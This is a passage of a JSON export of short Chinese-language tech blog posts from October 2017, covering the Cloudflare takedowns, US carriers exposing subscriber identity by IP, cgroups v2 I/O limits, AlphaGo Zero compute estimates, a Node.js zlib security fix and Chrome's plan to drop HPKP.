1.30-2.02).</blockquote>\r\n\r\n<blockquote>CONCLUSION: Occupants sharing an office and occupants in open-plan offices (&gt;6 occupants) had significantly more days of sickness absence than occupants in cellular offices.</blockquote>\r\n\r\n看起來只是拉數字出來分析... 另外信心區間的洞好大 XD",
    "title": "2011 年的研究，開放辦公室與病假的關聯性"
  },
  {
    "id": "7672",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"http://www.php-fig.org/\">PHP-FIG</a> 成立 official blog「<a href=\"https://medium.com/php-fig\">PHP FIG</a>」了，放在 <a href=\"https://medium.com/\">Medium</a> 上：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">The PHP FIG has a new official blog! <a href=\"https://t.co/3IuBvYABEA\">https://t.co/3IuBvYABEA</a><br><br>Follow it (or us here on twitter) to get the latest FOG updates and more.</p>&mdash; PHP-FIG (@phpfig) <a href=\"https://twitter.com/phpfig/status/922496678778802177?ref_src=twsrc%5Etfw\">October 23, 2017</a></blockquote>\r\n\r\n另外有更正說明的 tweet：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">That&#39;s FIG updates, not FOG updates. Apologies, I was obviously just very excited to announce our new blog.<br><br>^MC</p>&mdash; PHP-FIG (@phpfig) <a href=\"https://twitter.com/phpfig/status/922498004833193985?ref_src=twsrc%5Etfw\">October 23, 2017</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n是一個知道 PHP-FIG 又有什麼大事的管道...",
    "title": "PHP-FIG 成立官方網誌"
  },
  {
    "id": "7673",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 的 CEO Matthew Prince，將會被法院傳喚說明 Cloudflare 在沒有收到法院傳票的情況下就終止服務的原因，以及一直不肯在沒有法院傳票的情況下移除盜版網站的 policy：「<a href=\"https://torrentfreak.com/cloudflare-ceo-has-to-explain-lack-of-pirate-site-terminations-171010/\">Cloudflare CEO Has to Explain Lack of Pirate Site Terminations</a>」。\r\n\r\n預期會有兩件事情被拿出來訊問，第一件是推廣<a href=\"https://zh.wikipedia.org/wiki/%E6%96%B0%E7%B4%8D%E7%B2%B9%E4%B8%BB%E7%BE%A9\">新納粹主義</a>以及<a href=\"https://zh.wikipedia.org/wiki/%E7%99%BD%E4%BA%BA%E5%84%AA%E8%B6%8A%E4%B8%BB%E7%BE%A9\">白人優越主義</a>的 <a href=\"https://en.wikipedia.org/wiki/The_Daily_Stormer\">The Daily Stormer</a> 被主動終止服務：\r\n\r\n<blockquote>In August, Cloudflare CEO Matthew Prince decided to terminate the account of controversial neo-Nazi site Daily Stormer.</blockquote>\r\n\r\n第二件是終止網頁挖礦的服務：\r\n\r\n<blockquote>Just a few days ago Cloudflare suspended the account of a customer for using a cryptocurrency miner. Apparently, Cloudflare classifies these miners as malware, triggering a punishment without a court order.</blockquote>\r\n\r\n應該會有很精彩的結論 (對 Cloudflare 不利)，來等著看戲...",
    "title": "Cloudflare 的 CEO 將被傳喚說明濫用權力"
  },
  {
    "id": "7674",
    "body": "在「<a href=\"https://arstechnica.com/gaming/2017/10/microsoft-rolls-out-system-level-anti-cheating-tech-for-windows-devs/\">Windows now includes gaming cheat detection at the system level</a>」這邊看到微軟將會引入 <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/mt808781(v=vs.85).aspx\">TruePlay</a> (然後跟 <a href=\"http://www.sonos.com/\">Sonos</a> 的 <a href=\"http://www.sonos.com/en-us/trueplay-speaker-tuning-software\">trueplay</a> 衝名 XDDD) 作弊偵測機制。\r\n\r\n很明顯的會有隱私問題，而也很明顯的微軟說不會有隱私問題：\r\n\r\n<blockquote>As Microsoft notes, \"to protect customer privacy, no data is shared or transmitted until permission is granted,\" and no information is sent until \"processing has determined cheating is likely to have occurred.\"</blockquote>\r\n\r\n這不是把人當傻子嗎，遊戲一開始就會要求你同意才能玩啊，所以資料一定會送出的啊... 而且 TruePlay 變成作業系統的標準配備後，作弊程式就會找 workaround 才會推出 :o",
    "title": "Windows 將引入 TruePlay，推出作弊偵測的 API"
  },
  {
    "id": "7675",
    "body": "在 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到六月的文章，看起來是 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 下一個版本要支援所以冒出來了：「<a href=\"https://blog.nightly.mozilla.org/2017/06/12/datetime-inputs-enabled-on-nightly/\">Date/Time Inputs Enabled on Nightly</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/XLg8BcB.webp\" /><img src=\"https://i.gslin.com/imgur/XLg8BcB.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/1NTFIoV.webp\" /><img src=\"https://i.gslin.com/imgur/1NTFIoV.jpg\" alt=\"\" /></picture>\r\n\r\n然後支援多國語系：(官方拿的範例剛好就是中文)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/KCNxAwE.webp\" /><img src=\"https://i.gslin.com/imgur/KCNxAwE.jpg\" alt=\"\" /></picture>\r\n\r\n依照 <a href=\"https://developer.mozilla.org/\">MDN</a> 上的說明「<a href=\"https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/date\">&lt;input type=&#34;date&#34;&gt;</a>」以及 Can I Use 往站上的說明「<a href=\"https://caniuse.com/#feat=input-datetime\">Can I use Date and time input types</a>」，可以看到這樣又多了一個瀏覽器啦：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/cNvmhG0.webp\" /><img src=\"https://i.gslin.com/imgur/cNvmhG0.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/PcTm6VH.webp\" /><img src=\"https://i.gslin.com/imgur/PcTm6VH.jpg\" alt=\"\" /></picture>\r\n\r\n<a href=\"https://www.apple.com/safari/\">Safari</a> 被稱為新世代的 IE 真不是蓋的 XDDD",
    "title": "Firefox 的 Input 要支援 Date/Time 格式了"
  },
  {
    "id": "7676",
    "body": "前陣子的報料，美國的電信商提供 API 給第三方，讓第三方可以用 IP address 查出你的真實身份：「<a href=\"https://medium.com/@philipn/want-to-see-something-crazy-open-this-link-on-your-phone-with-wifi-turned-off-9e0adb00d024\">Want to see something crazy? Open this link on your phone with WiFi turned off.</a>」，像是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/5H3DQjY.webp\" /><img src=\"https://i.gslin.com/imgur/5H3DQjY.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote>These services are using your mobile phone’s IP address to look up your phone number, your billing information and possibly your phone’s current location as provided by cell phone towers (no GPS or phone location services required).</blockquote>\r\n\r\n目前所有的網站都已經被下架了，但可以從當時的截圖看到有多少資訊。<a href=\"https://www.att.com/\">AT&amp;T</a> 的新聞稿在「<a href=\"https://www.att.com/gen/press-room?pid=25161&amp;cdvn=news&amp;newsarticleid=37345\">AT&amp;T Helps Businesses Improve Mobile Transaction Security with New Mobile Identity API Toolkit</a>」，新聞稿沒被下掉我猜可能是因為上市公司受法令限制的關係？\r\n\r\n這其實是一個警示，說明了美國的電信商開始把大家一直認為極為隱私的資料賣給第三方：\r\n\r\n<blockquote>But what these services show us is even more alarming: US telcos appear to be selling direct, non-anonymized, real-time access to consumer telephone data to third party services — not just federal law enforcement officials — who are then selling access to that data.</blockquote>\r\n\r\n而且作者在 <a href=\"https://github.com/\">GitHub</a> 上看到有程式碼針對韓國電信商提供的 API 呼叫，所以韓國也有類似服務：\r\n\r\n<blockquote>I found what looks like a third-party API implementation for a Korean Danal API on GitHub. The author wrote the code for South Korean telcos, so there may be differences with US carriers. The query parameters in the HTTP requests are similar to what I remember seeing in the Danal demo. It’s unclear from my reading of the code whether or not this API requires operation inside of e.g. a Danal Inc. hosted-iframe for identity confirmation. The diagram on page 4 of this documentation describing the Korean “Danal Pay” service appears to show the client interacting with the customer’s servers only.</blockquote>\r\n\r\n台灣呢，嘿嘿...",
    "title": "美國的電信商提供 API，讓第三方透過 IP 就可以知道你的真實身份"
  },
  {
    "id": "7677",
    "body": "在「<a href=\"https://andrestc.com/post/cgroups-io/\">Using cgroups to limit I/O</a>」這邊看到作者試著用 <a href=\"https://en.wikipedia.org/wiki/Cgroups\">cgroups</a> 限制 I/O 速度。\r\n\r\n作者前面花了不少篇幅解釋 cgroups v1 無法正確限制 I/O 速度，後面就在講 cgroups v2 怎麼做：\r\n\r\n<blockquote>So, in order to limit I/O when this I/O may hit the writeback kernel cache, we need to use both memory and io controllers in the cgroups v2!</blockquote>\r\n\r\n這會需要 4.5+ 的 kernel，可能會需要手動更新，或是直接使用比較新的 distribution：\r\n\r\n<blockquote>Since kernel 4.5, the cgroups v2 implementation was <a href=\"https://lwn.net/Articles/679786/\">marked non-experimental</a>.</blockquote>\r\n\r\n然後照抄就可以了 (不過這邊的指定都需要 root，作者用 <code>$</code> 表示 shell 有點怪)：\r\n\r\n<pre># mount -t cgroup2 nodev /cgroup2\r\n# mkdir /cgroup2/cg2\r\n# echo \"+io\" &gt; /cgroup2/cgroup.subtree_control\r\n# echo \"8:0 wbps=1048576\" &gt; io.max\r\n# echo $$ &gt; /cgroup2/cg2/cgroup.procs</pre>\r\n\r\n然後就可以跑 <a href=\"https://en.wikipedia.org/wiki/Dd_(Unix)\">dd</a> 測試速度了，同時間也可以跑 <a href=\"https://en.wikipedia.org/wiki/Iostat\">iostat</a> 看。",
    "title": "用 4.5+ 的 Linux Kernel 限制 I/O 速度"
  },
  {
    "id": "7678",
    "body": "<a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的服務「<a href=\"https://www.arxiv-vanity.com/\">Arxiv Vanity – Read academic papers from Arxiv as web pages</a>」：\r\n\r\n<blockquote>Arxiv Vanity renders academic papers from Arxiv as responsive web pages so you don’t have to squint at a PDF.</blockquote>\r\n\r\n不過實際測試發現只有有提供 <a href=\"https://en.wikipedia.org/wiki/TeX\">TeX</a> 格式原始檔才有辦法轉，沒提供的就不行了...",
    "title": "在網頁上看 arXiv 的論文"
  },
  {
    "id": "7679",
    "body": "在 <a href=\"https://deepmind.com/blog/alphago-zero-learning-scratch/\">AlphaGo Zero</a> 論文裡有提到，用同樣的硬體 (4 TPU) 可以用 89:11 碾壓 AlphaGo Master (今年年初與柯潔下的那個版本)，主要是得力於更高品質的 neural network 以及更強的選擇能力 (後面這塊應該是將兩個 nerual network 簡化為一後的好處)：\r\n\r\n<blockquote>This neural network improves the strength of the tree search, resulting in higher quality move selection and stronger self-play in the next iteration.</blockquote>\r\n\r\n那麼對應的問題就會冒出來了，究竟 <a href=\"https://deepmind.com/\">DeepMind</a> 花了多少時間才能訓練出這個新的 nerual network？結果<a href=\"https://people.cs.nctu.edu.tw/~icwu/\">吳毅成</a>教授在 <a href=\"https://www.facebook.com/\">Facebook</a> 上先估算出來了：\r\n\r\n<iframe src=\"https://www.facebook.com/plugins/post.php?href=https%3A%2F%2Fwww.facebook.com%2Ficwu307%2Fposts%2F10211888737466856&width=500\" width=\"500\" height=\"297\" style=\"border:none;overflow:hidden\" scrolling=\"no\" frameborder=\"0\" allowTransparency=\"true\"></iframe>\r\n\r\n這邊的 TPU 對 GPU 的推估應該是基於當時 <a href=\"https://www.google.com/\">Google</a> 在說明 TPU 的部份「<a href=\"https://cloud.google.com/blog/big-data/2017/05/an-in-depth-look-at-googles-first-tensor-processing-unit-tpu\">An in-depth look at Google’s first Tensor Processing Unit (TPU)</a>」：\r\n\r\n<blockquote>In short, we found that the TPU delivered 15–30X higher performance and 30–80X higher performance-per-watt than contemporary CPUs and GPUs.</blockquote>\r\n\r\n用 GPU 大約是 12K 顆，反推回 TPU 大約也是千顆這個數量左右。而這個數量以目前已經將 TPU 商用化的 Google 來看應該是很輕鬆，只能說有錢真好 XD：\r\n\r\n<blockquote>1. 從另外一個角度看, DeepMind 僅40天就可以把 40-block 版本練起來, 換算一下, DeepMind 等於用了約12000顆 1080 Ti.</blockquote>",
    "title": "AlphaGo Zero 的計算量"
  },
  {
    "id": "7680",
    "body": "前幾天「<a href=\"https://blog.gslin.org/archives/2017/10/19/7661/node-js-%E9%A0%90%E5%AE%9A%E5%9C%A8%E5%8D%81%E6%9C%88-24-%E8%99%9F%E7%99%BC%E8%A1%A8%E5%AE%89%E5%85%A8%E6%80%A7%E6%9B%B4%E6%96%B0/\">Node.js 預定在十月 24 號發表安全性更新</a>」提到 <a href=\"https://nodejs.org/\">Node.js</a> 會發表安全性更新，已經看到 4/6/8 都出新版了：「<a href=\"https://nodejs.org/en/blog/release/v4.8.5/\">Node v4.8.5 (Maintenance)</a>」、「<a href=\"https://nodejs.org/en/blog/release/v6.11.5/\">Node v6.11.5 (LTS)</a>」、「<a href=\"https://nodejs.org/en/blog/release/v8.8.0/\">Node v8.8.0 (Current)</a>」。\r\n\r\n這次安全更新的 <a href=\"https://cve.mitre.org/\">CVE</a> 是 <a href=\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14919\">CVE-2017-14919</a>：\r\n\r\n<blockquote>CVE-2017-14919 - In zlib v1.2.9, a change was made that causes an error to be raised when a raw deflate stream is initialized with windowBits set to 8. On some versions this crashes Node and you cannot recover from it, while on some versions it throws an exception. Node.js will now gracefully set windowBits to 9 replicating the legacy behavior to avoid a DOS vector. <a href=\"https://github.com/nodejs-private/node-private/pull/95\">nodejs-private/node-private#95</a></blockquote>\r\n\r\nzlib 的 <a href=\"https://www.zlib.net/manual.html\">manual</a> 對 <code>windowBits</code> 說明：\r\n\r\n<blockquote>For the current implementation of <code>deflate()</code>, a <code>windowBits</code> value of 8 (a window size of 256 bytes) is not supported. As a result, a request for 8 will result in 9 (a 512-byte window). In that case, providing 8 to <code>inflateInit2()</code> will result in an error when the zlib header with 9 is checked against the initialization of <code>inflate()</code>. The remedy is to not use 8 with <code>deflateInit2()</code> with this initialization, or at least in that case use 9 with <code>inflateInit2()</code>.</blockquote>\r\n\r\n唔？XD\r\n\r\n另外文章可以看出來 Node.js 團隊是選擇在 <a href=\"https://github.com/\">GitHub</a> 上用另外一個 organization 在管這類不會事前公開的事情...",
    "title": "Node.js 安全性更新：zlib..."
  },
  {
    "id": "7681",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈 <a href=\"https://aws.amazon.com/rds/aurora/\">Amazon Aurora</a> 也支援 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 了，相容於 9.6.3 的版本 (應該就是改自這個版本)：「<a href=\"https://aws.amazon.com/blogs/aws/now-available-amazon-aurora-with-postgresql-compatibility/\">Now Available – Amazon Aurora with PostgreSQL Compatibility</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Rspegmg.webp\" /><img src=\"https://i.gslin.com/imgur/Rspegmg.jpg\" alt=\"\" /></picture>\r\n\r\n效能上一樣有提昇，不過數字參考用：\r\n\r\n<blockquote>On the performance side, you can expect up to 3x the throughput that you’d get if you ran PostgreSQL on your own (you can read Amazon Aurora: Design Considerations for High Throughput Cloud-Native Relational Databases to learn more about how we did this).</blockquote>\r\n\r\n架構上也是採用 6-way replication 的方式：\r\n\r\n<blockquote>It is compatible with PostgreSQL 9.6.3 and scales automatically to support up to 64 TB of storage, with 6-way replication behind the scenes to improve performance and availability.</blockquote>\r\n\r\n不過區域就比較受限了，亞洲目前還沒開：\r\n\r\n<blockquote>You can use Amazon Aurora with PostgreSQL Compatibility today in the US East (Northern Virginia), EU (Ireland), US West (Oregon), and US East (Ohio) Regions, with others to follow as soon as possible.</blockquote>",
    "title": "Amazon Aurora 也支援 PostgreSQL 了"
  },
  {
    "id": "7682",
    "body": "以往都是第三方廠商要透過 browser extension 硬掛進去 (當 <a href=\"https://mail.google.com/\">Gmail</a> 改版的時候又要修)，現在 Gmail 直接提供界面讓他們掛進來了：「<a href=\"https://www.blog.google/products/g-suite/do-more-your-inbox-gmail-add-ons/\">Do more from your inbox with Gmail Add-ons</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/qB4gCgx.gif\" alt=\"\" />\r\n\r\n包括 Gmail 以及 <a href=\"https://gsuite.google.com/\">G Suite</a> 都能用 (應該會需要管理員掛進來？)：\r\n\r\n<blockquote>Knock out action items the minute they hit your inbox. G Suite and Gmail users can check out the G Suite Marketplace to find and install Gmail Add-ons.</blockquote>\r\n\r\n另外也可以自己開發掛入：\r\n\r\n<blockquote>If you're a developer, you can also easily create add-ons for your app or your organization—write your add-on code once and it will run natively in Gmail on web and Android right away. Learn more.</blockquote>",
    "title": "Gmail 支援第三方軟體掛入了..."
  },
  {
    "id": "7683",
    "body": "在「<a href=\"https://techcrunch.com/2017/10/24/tesla-makes-quick-work-of-puerto-rico-hospital-solar-power-relief-project/\">Tesla makes quick work of Puerto Rico hospital solar power relief project</a>」這邊看到的，看起來是在醫院支援太陽能板與電池：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Hospital del Niño is first of many solar+storage projects going live. Grateful to support the recovery of Puerto Rico with <a href=\"https://twitter.com/ricardorossello?ref_src=twsrc%5Etfw\">@ricardorossello</a> <a href=\"https://t.co/JfAu11UBYg\">pic.twitter.com/JfAu11UBYg</a></p>&mdash; Tesla (@Tesla) <a href=\"https://twitter.com/Tesla/status/922840234143952899?ref_src=twsrc%5Etfw\">October 24, 2017</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n看照片像是用停車場的位置來放太陽能板？",
    "title": "Tesla 也出手支援波多黎各"
  },
  {
    "id": "7684",
    "body": "在「<a href=\"https://cloudplatform.googleblog.com/2017/10/new-ways-to-manage-sensitive-data-with-the-Data-Loss-Prevention-API.html\">New ways to manage sensitive data with the Data Loss Prevention API</a>」這邊提到三月的時候就推出了 <a href=\"https://cloud.google.com/dlp/\">DLP API</a> (在「<a href=\"https://cloudplatform.googleblog.com/2017/03/discover-and-redact-sensitive-data-with-the-Data-Loss-Prevention-API.html\">Discover and redact sensitive data with the Data Loss Prevention API</a>」這邊提到的)，不過沒什麼印象：\r\n\r\n<blockquote>The Data Loss Prevention (DLP) API, which went beta in March, can help you quickly find and protect over 50 types of sensitive data such as credit card numbers, names and national ID numbers.</blockquote>\r\n\r\n這次看了一下範例，可以直接對圖片上面分析：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/b6Qhes5.webp\" /><img src=\"https://i.gslin.com/imgur/b6Qhes5.jpg\" alt=\"\" /></picture>\r\n\r\n先記起來，看起來之後應該有機會用到？(像是分析使用者上傳的圖片)",
    "title": "Google Cloud Platform 的 DLP API"
  },
  {
    "id": "7685",
    "body": "<a href=\"https://sjeng.org/leela.html\">Leela</a> 的作者 <a href=\"https://twitter.com/gcpascutto\">Gian-Carlo Pascutto</a> 依照 paper 的描述寫完了，放在 <a href=\"https://github.com/\">GitHub</a> 上的 <a href=\"https://github.com/gcp/leela-zero\">gcp/leela-zero</a>：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">I made an open source re-implementation of AlphaGo Zero: <a href=\"https://t.co/p8H6gGohA1\">https://t.co/p8H6gGohA1</a><br><br>It just needs a good weights file.</p>&mdash; Gian-Carlo Pascutto (@gcpascutto) <a href=\"https://twitter.com/gcpascutto/status/922915238361554944?ref_src=twsrc%5Etfw\">October 24, 2017</a></blockquote>\r\n\r\n不過他在 <a href=\"https://twitter.com/\">Twitter</a> 上也提到了，open source 實做不是真正的困難，真正的困難在於訓練完的資料，那個部份需要大量的成本才有辦法作到：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Every redditor is asking to opensource AlphaGo Zero, when all we really need are those last 500k self-play games.</p>&mdash; Gian-Carlo Pascutto (@gcpascutto) <a href=\"https://twitter.com/gcpascutto/status/920977441362993152?ref_src=twsrc%5Etfw\">October 19, 2017</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n另外他推估 AlphaGo Zero 的計算量是 1700 年 (以 1080 Ti 來計算)：「<a href=\"http://computer-go.org/pipermail/computer-go/2017-October/010307.html\">[Computer-go] Zero performance</a>」。\r\n\r\n另外 Leela 0.11.0 也推出了，還是先維持 policy + value 的方式，但引入了不少新演算法加強。另外一個蠻特別的地方是 Windows 版改用 <a href=\"https://clang.llvm.org/\">clang</a> 而變快不少：\r\n\r\n<blockquote>Windows version is now compiled with Clang/LLVM 5.0 instead of MSVC2017. This makes the Monte Carlo evaluations about 15% faster.</blockquote>\r\n\r\n雖然 <a href=\"https://deepmind.com/\">DeepMind</a> 說要收手，但還是留下不少方向讓大家走...",
    "title": "AlphaGo Zero 演算法的 Open Source 實做"
  },
  {
    "id": "7686",
    "body": "這次從 <a href=\"https://www.nvidia.com/\">NVIDIA</a> 推出到 <a href=\"https://aws.amazon.com/\">AWS</a> 採用比以前快好多，依照維基百科上查到的資料，Tesla V1000 是六月 21 日推出的，這樣算起來四個月後就上線了：「<a href=\"https://aws.amazon.com/blogs/aws/new-amazon-ec2-instances-with-up-to-8-nvidia-tesla-v100-gpus-p3/\">New – Amazon EC2 Instances with Up to 8 NVIDIA Tesla V100 GPUs (P3)</a>」。\r\n\r\n<blockquote>Today we are making the next generation of GPU-powered EC2 instances available in four AWS regions. Powered by up to eight NVIDIA Tesla V100 GPUs, the P3 instances are designed to handle compute-intensive machine learning, deep learning, computational fluid dynamics, computational finance, seismic analysis, molecular modeling, and genomics workloads.</blockquote>\r\n\r\nP2 是 K80，NVIDIA 推出的時間是 2014 年的十一月了... 這時候拿出新的貨色出來算合理 XD\r\n\r\n然後是這幾區有提供 P3：\r\n\r\n<blockquote>P3 instances are available in the US East (Northern Virginia), US West (Oregon), EU (Ireland), and Asia Pacific (Tokyo) Regions in On-Demand, Spot, Reserved Instance, and Dedicated Host form.</blockquote>",
    "title": "AWS 推出 NVIDIA Tesla V100 的 GPU 機種 (P3)"
  },
  {
    "id": "7687",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到的奇怪實驗 XD\r\n\r\n在 <a href=\"https://www.apple.com/osx/\">Mac OS X</a> 與 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 上都有機會發生：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">a student asked if two processes can kill each other by sending simultaneous signals; this program does that about 10% of the time on my Mac <a href=\"https://t.co/neTQN4wj8B\">pic.twitter.com/neTQN4wj8B</a></p>&mdash; John Regehr (@johnregehr) <a href=\"https://twitter.com/johnregehr/status/923305764759928834?ref_src=twsrc%5Etfw\">October 25, 2017</a></blockquote>\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">here&#39;s the magic number for my Ubuntu 16.04 box, they kill each other ~20% of the time <a href=\"https://t.co/UvSMyDYT6S\">pic.twitter.com/UvSMyDYT6S</a></p>&mdash; John Regehr (@johnregehr) <a href=\"https://twitter.com/johnregehr/status/923347396720857088?ref_src=twsrc%5Etfw\">October 26, 2017</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>",
    "title": "兩個 process 互相 kill 的可能性"
  },
  {
    "id": "7688",
    "body": "在 <a href=\"https://www.facebook.com/\">Facebook</a> 上看到 <a href=\"https://www.percona.com/\">Percona</a> 的人修正了 InnoDB 的 MVCC 在繁忙時會有 [latex]O(n^2)[/latex] 的效能問題：\r\n\r\n<iframe src=\"https://www.facebook.com/plugins/post.php?href=https%3A%2F%2Fwww.facebook.com%2FMySQLatFacebook%2Fposts%2F10155021365796696&amp;width=500\" width=\"500\" height=\"329\" style=\"border:none;overflow:hidden\" scrolling=\"no\" frameborder=\"0\" allowTransparency=\"true\"></iframe>\r\n\r\n在 <a href=\"https://dev.mysql.com/\">MySQL</a> 官方的 bug tracking system 是「<a href=\"https://bugs.mysql.com/bug.php?id=84958\">InnoDB's MVCC has O(N^2) behaviors</a>」這個，可以看到給的重製範例是在 transaction 內大量塞 <code>INSERT</code> 進去後，另外一個 transaction 使用 secondary index 就會受到影響。\r\n\r\n裡面也有提到「<a href=\"https://bugs.mysql.com/bug.php?id=67044\">Secondary index updates make consistent reads do O(N^2) undo page lookups</a>」，雖然修正了，但看起來跟當時實做的規劃有關？所以導致許多地方都是 [latex]O(n^2)[/latex]...\r\n\r\n這個 bug 感覺是批次作業的行為？因為批次作業可能會用 transaction 包起來，一次寫入萬筆資料後再 <code>COMMIT</code> 進去。而這個行為很有機會觸發這個 bug，導致影響到線上的服務...",
    "title": "InnoDB 的 MVCC 繁忙時的效能問題"
  },
  {
    "id": "7690",
    "body": "<a href=\"https://www.nytimes.com/\">紐約時報</a>官方把整個站台放到 <a href=\"https://www.torproject.org/\">Tor</a> 的 <a href=\"https://www.torproject.org/docs/hidden-services.html.en\">Hidden Service</a> 上了：「<a href=\"https://open.nytimes.com/https-open-nytimes-com-the-new-york-times-as-a-tor-onion-service-e0d0b67b7482\">The New York Times is Now Available as a Tor Onion Service</a>」。\r\n\r\n而且也買了 SSL certficiate：\r\n\r\n<blockquote>The address for our Onion Service is:\r\nhttps://www.nytimes3xbfgragh.onion/</blockquote>\r\n\r\n讓所有人想看到的人都有辦法看到是紐約時報的目標，所以就推出了許多不一樣的方式讓使用者可以看到內容...\r\n\r\n<blockquote>The Times is dedicated to delivering quality, independent journalism, and our engineering team is committed to making sure that readers can access our journalism securely. This is why we are exploring ways to improve the experience of readers who use Tor to access our website.</blockquote>",
    "title": "紐約時報網站上 Tor 的 Hidden Service (i.e. Tor Onion Service)"
  },
  {
    "id": "7691",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到這則 tweet，提到要移除 HPKP (<a href=\"https://en.wikipedia.org/wiki/HTTP_Public_Key_Pinning\">HTTP Public Key Pinning</a>)：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Intent To Deprecate And Remove: Public Key Pinning (in Chromium) <a href=\"https://t.co/agS3fll7eR\">https://t.co/agS3fll7eR</a></p>&mdash; Adam Langley (@agl__) <a href=\"https://twitter.com/agl__/status/923990998694248448?ref_src=twsrc%5Etfw\">October 27, 2017</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n<a href=\"https://groups.google.com/a/chromium.org/forum/#!forum/blink-dev\">blink-dev</a> 上的討論可以參考「<a href=\"https://groups.google.com/a/chromium.org/forum/#!msg/blink-dev/he9tr7p3rZ8/eNMwKPmUBAAJ\">Intent To Deprecate And Remove: Public Key Pinning</a>」(就是上面那個連結，只是拉出來)。\r\n\r\n這個提案大概可以推敲出理由... 目前的作法必須寫進瀏覽器內，這樣明顯會有 scale 問題，而且這個作法本身就很 workaround，只能保護所謂「高價值」的 domain，而且因為是綁在 Public Key 上，如果 CA 換了 Intermediate Certificate 就有可能會導致檢查過不了。\r\n\r\n另外一方面，scale 而且合理的替代方案已經發展出來了。如果瀏覽器會檢查 <a href=\"https://en.wikipedia.org/wiki/DNS_Certification_Authority_Authorization\">DNS CAA</a> 資訊 (這個規格可以在 DNS 裡設定有哪些 CA 可以簽這個 domain)，就能解這個問題 (加上 <a href=\"https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions\">DNSSEC</a> 會更加確保驗證過程)。像是這樣：\r\n\r\n<pre>example.com.    IN      CAA     0 issue \"letsencrypt.org\"\r\nexample.com.    IN      CAA     0 issuewild \";\"</pre>\r\n\r\n不過這個提案本身提到 CT (<a href=\"https://www.certificate-transparency.org/\">Certificate Transparency</a>) 怪怪的，因為 CT 無法避免惡意的簽發 (發了以後故意不送 CT)：\r\n\r\n<blockquote>Finally, remove support for built-in PKP (“static pins”) at a point in the future when Chrome requires Certificate Transparency for all publicly-trusted certificates (not just newly-issued publicly-trusted certificates). (We don’t yet know when this will be.)</blockquote>\r\n\r\n但在瀏覽器支援 DNS CAA 可以避免，結果在討論時都沒到 DNS CAA...\r\n\r\n另外在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上也有討論：「<a href=\"https://news.ycombinator.com/item?id=15572143\">Public Key Pinning Being Removed from Chrome (groups.google.com)</a>」可以看一下，有個人有提到用 DNS CAA 的方法...\r\n\r\n不過印象中這群人對 DNS-based 的方案都不太喜歡，所以也有可能是這樣不考慮在瀏覽器端實作 DNS CAA 吧...",
    "title": "Chromium 內提案移除 HPKP (HTTP Public Key Pinning)"
  },
  {
    "id": "7692",
